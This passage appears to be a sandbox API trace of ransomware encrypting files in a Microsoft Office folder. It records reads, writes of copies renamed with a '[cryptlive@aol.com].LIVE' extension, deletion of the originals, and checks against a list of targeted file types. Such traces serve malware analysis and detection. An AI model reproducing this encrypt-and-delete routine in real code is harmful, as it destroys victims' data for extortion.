liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.472] GetLastError () returned 0x0 [0158.472] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x33c, lpOverlapped=0x0) returned 1 [0158.616] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x340, lpOverlapped=0x0) returned 1 [0158.617] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.617] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0158.617] SetEndOfFile (hFile=0x380) returned 1 [0158.617] CloseHandle (hObject=0x380) returned 1 [0158.617] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.617] SetEndOfFile (hFile=0x3a0) returned 1 [0158.620] CloseHandle (hObject=0x3a0) returned 1 [0158.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ooftmpl.cfg")) returned 1 [0158.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0158.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0158.701] lstrlenW (lpString=".doc") returned 4 [0158.701] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0158.701] lstrlenW (lpString=".docx") returned 5 [0158.701] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0158.701] lstrlenW (lpString=".pdf") returned 4 [0158.701] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0158.701] lstrlenW (lpString=".xls") returned 4 [0158.701] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0158.702] lstrlenW (lpString=".xlsx") returned 5 [0158.702] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0158.702] lstrlenW (lpString=".ppt") returned 4 [0158.702] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0158.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0158.702] lstrlenW (lpString=".zip") returned 4 [0158.702] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0158.702] lstrlenW (lpString=".rar") returned 4 [0158.702] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0158.702] lstrlenW (lpString=".bz2") returned 4 [0158.702] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0158.702] lstrlenW (lpString=".7z") returned 3 [0158.702] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0158.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0158.702] lstrlenW (lpString=".dbf") returned 4 [0158.702] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0158.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0158.702] lstrlenW (lpString=".1cd") returned 4 [0158.702] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0158.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0158.702] lstrlenW (lpString=".jpg") returned 4 [0158.702] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0158.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0158.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0158.702] lstrlenW (lpString=".doc") returned 4 [0158.702] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0158.702] lstrlenW (lpString=".docx") returned 5 [0158.702] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0158.702] lstrlenW (lpString=".pdf") returned 4 [0158.702] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0158.702] lstrlenW (lpString=".xls") returned 4 [0158.702] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0158.702] lstrlenW (lpString=".xlsx") returned 5 [0158.702] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0158.702] lstrlenW (lpString=".ppt") returned 4 [0158.702] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0158.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0158.703] lstrlenW (lpString=".zip") returned 4 [0158.703] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0158.703] lstrlenW (lpString=".rar") returned 4 [0158.703] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0158.703] lstrlenW (lpString=".bz2") returned 4 [0158.703] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0158.703] lstrlenW (lpString=".7z") returned 3 [0158.703] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0158.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0158.703] lstrlenW (lpString=".dbf") returned 4 [0158.703] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0158.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0158.703] lstrlenW (lpString=".1cd") returned 4 [0158.703] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0158.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFTMPL.CFG") returned 65 [0158.703] lstrlenW (lpString=".jpg") returned 4 [0158.703] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0158.703] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0158.703] lstrlenW (lpString="RECS.ICO") returned 8 [0158.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.726] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=2998) returned 1 [0158.726] CloseHandle (hObject=0x350) returned 1 [0158.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico")) returned 0x20 [0158.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.727] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.727] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0158.727] GetLastError () returned 0x0 [0158.727] ReadFile (in: hFile=0x350, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0158.767] WriteFile (in: hFile=0x384, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0158.768] ReadFile (in: hFile=0x350, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.768] WriteFile (in: hFile=0x384, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0158.768] SetEndOfFile (hFile=0x384) returned 1 [0158.768] CloseHandle (hObject=0x384) returned 1 [0158.769] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.769] SetEndOfFile (hFile=0x350) returned 1 [0158.775] CloseHandle (hObject=0x350) returned 1 [0158.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recs.ico")) returned 1 [0158.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0158.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0158.777] lstrlenW (lpString=".doc") returned 4 [0158.777] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0158.777] lstrlenW (lpString=".docx") returned 5 [0158.777] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0158.777] lstrlenW (lpString=".pdf") returned 4 [0158.777] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0158.777] lstrlenW (lpString=".xls") returned 4 [0158.777] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0158.777] lstrlenW (lpString=".xlsx") returned 5 [0158.777] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0158.777] lstrlenW (lpString=".ppt") returned 4 [0158.777] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0158.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0158.777] lstrlenW (lpString=".zip") returned 4 [0158.777] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0158.777] lstrlenW (lpString=".rar") returned 4 [0158.777] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0158.777] lstrlenW (lpString=".bz2") returned 4 [0158.777] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0158.777] lstrlenW (lpString=".7z") returned 3 [0158.777] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0158.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0158.777] lstrlenW (lpString=".dbf") returned 4 [0158.777] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0158.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0158.777] lstrlenW (lpString=".1cd") returned 4 [0158.777] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0158.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0158.777] lstrlenW (lpString=".jpg") returned 4 [0158.777] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0158.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0158.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0158.778] lstrlenW (lpString=".doc") returned 4 [0158.778] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0158.778] lstrlenW (lpString=".docx") returned 5 [0158.778] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0158.778] lstrlenW (lpString=".pdf") returned 4 [0158.778] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0158.778] lstrlenW (lpString=".xls") returned 4 [0158.778] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0158.778] lstrlenW (lpString=".xlsx") returned 5 [0158.778] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0158.778] lstrlenW (lpString=".ppt") returned 4 [0158.778] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0158.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0158.778] lstrlenW (lpString=".zip") returned 4 [0158.778] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0158.778] lstrlenW (lpString=".rar") returned 4 [0158.778] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0158.778] lstrlenW (lpString=".bz2") returned 4 [0158.778] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0158.778] lstrlenW (lpString=".7z") returned 3 [0158.778] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0158.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0158.778] lstrlenW (lpString=".dbf") returned 4 [0158.778] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0158.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0158.778] lstrlenW (lpString=".1cd") returned 4 [0158.778] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0158.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECS.ICO") returned 62 [0158.778] lstrlenW (lpString=".jpg") returned 4 [0158.778] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0158.778] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0158.778] lstrlenW (lpString="REPLTMPL.CFG") returned 12 [0158.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.969] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=826) returned 1 [0158.969] CloseHandle (hObject=0x1e0) returned 1 [0158.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg")) returned 0x20 [0158.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.046] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.046] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0159.048] GetLastError () returned 0x0 [0159.048] ReadFile (in: hFile=0x384, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x33a, lpOverlapped=0x0) returned 1 [0159.086] WriteFile (in: hFile=0x3c4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x340, lpOverlapped=0x0) returned 1 [0159.087] ReadFile (in: hFile=0x384, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.087] WriteFile (in: hFile=0x3c4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.087] SetEndOfFile (hFile=0x3c4) returned 1 [0159.087] CloseHandle (hObject=0x3c4) returned 1 [0159.087] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.087] SetEndOfFile (hFile=0x384) returned 1 [0159.091] CloseHandle (hObject=0x384) returned 1 [0159.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\repltmpl.cfg")) returned 1 [0159.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0159.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0159.415] lstrlenW (lpString=".doc") returned 4 [0159.416] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0159.416] lstrlenW (lpString=".docx") returned 5 [0159.416] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0159.416] lstrlenW (lpString=".pdf") returned 4 [0159.416] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0159.416] lstrlenW (lpString=".xls") returned 4 [0159.416] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0159.416] lstrlenW (lpString=".xlsx") returned 5 [0159.416] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0159.416] lstrlenW (lpString=".ppt") returned 4 [0159.416] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0159.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0159.416] lstrlenW (lpString=".zip") returned 4 [0159.416] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0159.416] lstrlenW (lpString=".rar") returned 4 [0159.416] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0159.416] lstrlenW (lpString=".bz2") returned 4 [0159.416] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0159.416] lstrlenW (lpString=".7z") returned 3 [0159.416] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0159.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0159.416] lstrlenW (lpString=".dbf") returned 4 [0159.416] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0159.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0159.416] lstrlenW (lpString=".1cd") returned 4 [0159.416] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0159.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0159.416] lstrlenW (lpString=".jpg") returned 4 [0159.416] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0159.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0159.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0159.416] lstrlenW (lpString=".doc") returned 4 [0159.416] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0159.416] lstrlenW (lpString=".docx") returned 5 [0159.417] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0159.417] lstrlenW (lpString=".pdf") returned 4 [0159.417] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0159.417] lstrlenW (lpString=".xls") returned 4 [0159.417] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0159.417] lstrlenW (lpString=".xlsx") returned 5 [0159.417] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0159.417] lstrlenW (lpString=".ppt") returned 4 [0159.417] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0159.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0159.417] lstrlenW (lpString=".zip") returned 4 [0159.417] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0159.417] lstrlenW (lpString=".rar") returned 4 [0159.417] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0159.417] lstrlenW (lpString=".bz2") returned 4 [0159.417] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0159.417] lstrlenW (lpString=".7z") returned 3 [0159.417] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0159.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0159.417] lstrlenW (lpString=".dbf") returned 4 [0159.417] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0159.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0159.417] lstrlenW (lpString=".1cd") returned 4 [0159.417] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0159.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPLTMPL.CFG") returned 66 [0159.417] lstrlenW (lpString=".jpg") returned 4 [0159.417] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0159.417] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0159.417] lstrlenW (lpString="RESEND.CFG") returned 10 [0159.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.418] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=779) returned 1 [0159.418] CloseHandle (hObject=0x3a0) returned 1 [0159.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg")) returned 0x20 [0159.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.420] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.420] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0159.422] GetLastError () returned 0x0 [0159.422] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x30b, lpOverlapped=0x0) returned 1 